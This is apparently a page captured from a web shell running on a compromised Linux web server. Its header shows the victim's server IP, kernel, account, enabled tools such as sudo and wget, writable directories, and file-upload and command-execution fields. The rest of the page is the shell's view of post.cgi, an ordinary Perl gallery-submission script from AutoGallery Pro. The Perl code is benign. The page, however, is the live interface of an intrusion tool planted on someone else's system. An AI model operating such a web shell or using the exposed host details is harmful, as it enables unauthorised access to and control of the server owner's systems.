403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgp/post.cgi
#!/usr/bin/perl
##############################
##  AutoGallery Pro v2.1.x  ##
#####################################################################
##  post.cgi - handle submission of general posts                  ##
#####################################################################

print "Content-type: text/html\n\n";

eval
{
    require 'agp.pl';
    $HEADER = 1;
    main();
};

err("$@", 'post.cgi') if( $@ );
exit;

########################################################################
##  Removing the link back to JMB Software is a copyright violation.  ##
##  Altering or removing any of the code that is responsible, in      ##
##  any way, for generating that link is strictly forbidden.          ##
##  Anyone violating the above policy will have their license         ##
##  terminated on the spot.  Do not remove that link - ever.          ##
########################################################################


sub main 
{
    if( -e "$DDIR/disabled" )
    {
        tprint('_post_disabled.htmlt');
        exit;
    }

    if( $REQMTH eq "GET" )
    {
        if( $QUERY )
        {
            parseget();
            postConfirm();
        }

        else
        {
            for( split(/,/, $CATEGORIES) )
            {
                $TPL{CAT_OPTIONS} .= qq|<option value="$_">$_</option>\n|;
            }
            fparse('_post_main.htmlt');
        }
        
    }
    elsif( $REQMTH eq "POST" )
    {
        parsepost(1, 'upfile');
        postStandard();
    }
}



sub postStandard
{
    my %results;
    my $checked = 0;
    my $found   = 0;
    my $hexip   = IPtoHex($ENV{'REMOTE_ADDR'});

    $tmpimg  = $hexip . '-' . time;

    $FRM{pics} = $FRM{num};
    $FRM{perm} = $FRM{type};
    $FRM{rurl} = $FRM{recip};

    checkBans();

    $FRM{rurl} = $FRM{gurl}              if( $USE_RECIP_GALLERY );
    $FRM{conf} = 0                       if( !$FRM{conf}        );
    $FRM{perm} = 1                       if( !exists $FRM{type} );
    $FRM{desc} = ucfirst(lc($FRM{desc})) if( $USE_LOWER_CASE    );


    derr(1006                 ) if( $FRM{email} !~ /^[\w\d][\w\d\,\.\-]*\@([\w\d\-]+\.)+([a-zA-Z]+)$/ );
    derr(1005, $L_GALLERY_URL ) if( $FRM{gurl}  !~ /^http:\/\/[\w\d\-\.]+\.[\w\d\-\.]+/               );
    derr(1000, $L_RECIP_URL   ) if( $USE_REQ_RECIP && !$FRM{rurl}                                     );
    derr(1000, $L_DESCRIPTION ) if( $USE_REQ_DESC && !$FRM{desc}                                      );
    derr(1008                 ) if( length($FRM{desc}) > $DESC_LENGTH                                 );
    derr(1009                 ) if( index(",$CATEGORIES,", ",$FRM{cat},") == -1                       );
    

    if( $USE_PASSPHRASE )
    {
        my $pphrase = dbselect("$DDIR/dbs/passphrase", $hexip);

        if( !$pphrase || $$pphrase[1] ne uc($FRM{'phrase'}) )
        {
            derr(1046);
        }
    }


    if( !analyzeGallery($FRM{gurl}, \%results) )
    {
        httpError($FRM{gurl}, $Errstr);
    }


    if( $results{'IMAGE_ERROR'} )
    {
        httpError($results{'IMAGE_ERROR_URL'}, $results{'IMAGE_ERROR'});
    }


    if( $USE_CHECK_RECIP )
    {
        if( $results{'RECIP_ERROR'} )
        {
            httpError($FRM{rurl}, $results{'RECIP_ERROR'});
        }
        else
        {
            $checked = 1;
            $found   = $results{'RECIP_LINK'};

            derr(1010) if( $USE_REQ_RECIP && !$found );
        }
    }


    if( $USE_BANNED_HTML && $results{'BANNED_HTML'} )
    {
        derr(1013);
    }


    if( $USE_COUNT_PICS )
    {
        $FRM{pics} = $results{'IMAGES'};
    }


    derr(1007) if( $FRM{pics} < $MINIMUM_PICS );
    derr(1040) if( $FRM{pics} > $MAXIMUM_PICS );


    ## Check the number of links on the gallery
    if( $USE_COUNT_LINKS )
    {
        if( $results{'BANNER_LINKS'} + $results{'TEXT_LINKS'} > $MAXIMUM_LINKS )
        {
            derr(1043);
        }
    }

    
    ## Software automatically selecting thumbnail
    if( $USE_SELECT_THUMB )
    {
        if( !$results{'IMAGES'} )
        {
            derr(1053);
        }

        $SendRef = 1;

        ## Download the full size image
        if( !GET($results{'PREVIEW_IMAGE'}) )
        {
            httpError($results{'PREVIEW_IMAGE'}, $Errstr);
        }
        else
        {
            fwrite("$THUMB_DIR/$tmpimg.jpg", $Data);
        }

        require 'magick.pl';

        processImage("$THUMB_DIR/$tmpimg.jpg", $FRM{cat});
    }

    else
    {
        ## No thumbnail provided
        if( $USE_PREVIEW && (!$FRM{turl} && !$FRM{upfile}) )
        {
            derr(1051);
        }


        if( $FRM{turl} || $FRM{upfile} )
        {
            if( $FRM{turl} )
            {
                $SendRef = 1;
                if( !GET($FRM{turl}) )
                {
                    httpError($FRM{turl}, $Errstr);
                }
                else
                {
                    fwrite("$THUMB_DIR/$tmpimg.jpg", $Data);
                }
            }
            else
            {
                fwrite("$THUMB_DIR/$tmpimg.jpg", $FRM{upfile});
                $BodyBytes = (-s "$THUMB_DIR/$tmpimg.jpg");
            }

            ## Automatic resize and crop
            if( $USE_RESIZE )
            {
                require 'magick.pl';
                processImage("$THUMB_DIR/$tmpimg.jpg", $FRM{cat});
            }
            else
            {
                my @dims = imgsize("$THUMB_DIR/$tmpimg.jpg");

                ## bad image; not a JPEG
                if( $dims[2] ne 'JPG' )
                {
                    derr(1047);
                }
                else
                {
                    ## thumbnail byte size exceeds the allowed amount
                    if( $BodyBytes > $MAX_BYTE )
                    {
                        derr(1050);
                    }

                    ## thumbnail is bigger than allowed dimensions
                    if( $dims[0] > $MAX_WIDTH || $dims[1] > $MAX_HEIGHT )
                    {
                        derr(1048);
                    }

                    ## thumbnail must match admin defined dimensions
                    if( $USE_FORCE_DIMS )
                    {
                        if( $dims[0] != $MAX_WIDTH || $dims[1] != $MAX_HEIGHT )
                        {
                            derr(1049);
                        }
                    }
                }

                if( $USE_SHOW_CAT )
                {
                    require 'magick.pl';
                    annotateImage("$THUMB_DIR/$tmpimg.jpg", $FRM{cat});
                }
            }
        }
    } ## end thumbnail preview code


    my $partial = getPartialURL($FRM{gurl});  
    my $time    = time;
    my $date    = fdate('%Y%m%d', $time);
    checkNumber($partial, $date);

    for( keys %FRM  ) { $FRM{$_} =~ s/\|//g; }


    if( $USE_PASSPHRASE )
    {
        dbdelete("$DDIR/dbs/passphrase", $hexip);
    }

    $TPL{EMAIL}       = $FRM{email};
    $TPL{GALLERY_URL} = $FRM{gurl};
    $TPL{DESCRIPTION} = $FRM{desc};
    $TPL{RECIP_URL}   = $FRM{rurl};
    $TPL{NUM_PICS}    = $FRM{pics};
    $TPL{PERMANENT}   = $FRM{perm} ? $L_YES : $L_NO;
    $TPL{CONFIRM}     = $FRM{conf} ? $L_YES : $L_NO;
    $TPL{CATEGORY}    = $FRM{cat};
    $TPL{ADMIN_EMAIL} = $ADMIN_EMAIL;


    if( $USE_CONFIRM )
    {
        my $cid = getConfirmID();

        rename("$THUMB_DIR/$tmpimg.jpg", "$THUMB_DIR/$cid.jpg");

        my $dbh = dbinsert("$DDIR/dbs/confirm", $cid, "$FRM{email}|$FRM{gurl}|$FRM{desc}|$FRM{rurl}|$partial|$FRM{pics}|$FRM{cat}|$date|$time|-|$FRM{conf}|-|-|$FRM{perm}|$RMTADR|$checked|$found|-");   
        derr(1022) if( !$dbh );

        $TPL{CONFIRM_URL} = "$CGI_URL/post.cgi?ID=$cid";

        mail($SENDMAIL, freadalls("$TDIR/_email_confirm.etmpl"), \%TPL);

        fparse('_post_confirm.htmlt');
    }

    else
    {
        my $pid = getNewPostID();

        rename("$THUMB_DIR/$tmpimg.jpg", "$THUMB_DIR/$pid.jpg");

        $TPL{POST_ID} = $pid;

        $DEL = "\n";
        dbinsert("$DDIR/dbs/email.log", $FRM{email}) if( $USE_LOG_EMAIL );
        $DEL = '|';

        if( $USE_AUTO_APPROVE )
        {
            my $dbh = dbinsert("$DDIR/dbs/current", $pid, "$FRM{email}|$FRM{gurl}|$FRM{desc}|$FRM{rurl}|$partial|$FRM{pics}|$FRM{cat}|$date|$time|$time|$FRM{conf}|-|Auto-Approved|$FRM{perm}|$RMTADR|$checked|$found|-");   
            derr(1022) if( !$dbh );

            my $proc = fork();

            if( !$proc )
            {
                close STDIN; close STDOUT; close STDERR;

                doArchive();
                buildMain();
                buildArchives();

                exit;
            }
            else
            {
                fparse('_post_approved.htmlt');
            }
        }
        else 
        {
            my $dbh = dbinsert("$DDIR/dbs/queue", $pid, "$FRM{email}|$FRM{gurl}|$FRM{desc}|$FRM{rurl}|$partial|$FRM{pics}|$FRM{cat}|$date|$time|-|$FRM{conf}|-|-|$FRM{perm}|$RMTADR|$checked|$found|-");   
            derr(1022) if( !$dbh );

            fparse('_post_queued.htmlt');
        }
    }
}



sub postConfirm
{
    my $pd = dbselect("$DDIR/dbs/confirm", $QRY{ID});
    derr(1023) if( !$pd );

    ## Check the time of submission

    dbdelete("$DDIR/dbs/confirm", $QRY{ID});

    $$pd[0] = getNewPostID();

    rename("$THUMB_DIR/$QRY{ID}.jpg", "$THUMB_DIR/$$pd[0].jpg");

    $TPL{POST_ID}     = $$pd[0];
    $TPL{EMAIL}       = $$pd[1];
    $TPL{GALLERY_URL} = $$pd[2];
    $TPL{DESCRIPTION} = $$pd[3];
    $TPL{RECIP_URL}   = $$pd[4];
    $TPL{NUM_PICS}    = $$pd[6];
    $TPL{CATEGORY}    = $$pd[7];
    $TPL{CONFIRM}     = $$pd[11] ? $L_YES : $L_NO;
    $TPL{PERMANENT}   = $$pd[14] ? $L_YES : $L_NO;

    $DEL = "\n";
    dbinsert("$DDIR/dbs/email.log", $$pd[1]) if( $USE_LOG_EMAIL );
    $DEL = '|';

    if( $USE_AUTO_APPROVE )
    {
        $$pd[10] = time;
        $$pd[13] = 'Auto-Approved';

        my $dbh = dbinsert("$DDIR/dbs/current", @{$pd});
        derr(1022) if( !$dbh );

        my $proc = fork();

        if( !$proc )
        {
            close STDIN; close STDOUT; close STDERR;

            doArchive();
            buildMain();
            buildArchives();

            exit;
        }
        else
        {
            fparse('_post_approved.htmlt');
        }
    }
    else
    {
        my $dbh = dbinsert("$DDIR/dbs/queue", @{$pd});
        derr(1022) if( !$dbh );

        fparse('_post_confirmed.htmlt');
    }
    
}

#cashguy Thu Dec  4 11:22:40 2003 24.157.84.101

sub getConfirmID
{
    return sprintf("%09s", int(rand(999999999)));
}



sub checkBans
{
    my( @files ) = qw(IP.ban email.ban url.ban word.ban);
    my( $file, $ban );

    foreach $file ( @files )
    {
        my $bans = freadall("$DDIR/dbs/$file");

        foreach $ban ( @{ $bans } )
        {
            next if( $ban =~ /^\s*$/ );

            chomp($ban = lc($ban));

            derr(1012                   ) if( $file eq "IP.ban"    && index($RMTADR,         $ban) == 0  );
            derr(1011, $L_DOMAIN        ) if( $file eq "url.ban"   && index(lc($FRM{gurl}),  $ban) != -1 );
            derr(1011, $L_EMAIL         ) if( $file eq "email.ban" && index(lc($FRM{email}), $ban) != -1 );
            derr(1011, "$L_WORD '$ban'" ) if( $file eq "word.ban"  && index(lc($FRM{desc}),  $ban) != -1 );
        }  
    }
}



sub checkNumber
{
    my($part, $date)  = @_;
    my @dbs   = qw(confirm queue current);
    my %count = qw(mail 0 part 0 ip 0);

    for( @dbs )
    {
        open(DB, "$DDIR/dbs/$_") || err("$!", "$DDIR/dbs/$_");
        flock(DB, 1);

        while( <DB> ) {
            my @chk = split(/\|/, $_);

            derr(1014) if( $USE_CHECK_DUPS && $FRM{gurl} eq $chk[2] );

            next if( $date ne $chk[8] );

            $count{mail}++ if( $chk[1]  eq $FRM{email} );
            $count{part}++ if( $chk[5]  eq $part       );
            $count{ip}++   if( $chk[15] eq $RMTADR     );
        }

        close(DB);
    }

    for( keys %count )
    {
        derr(1015) if( $count{$_} >= $G_POSTS_PER_DAY );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit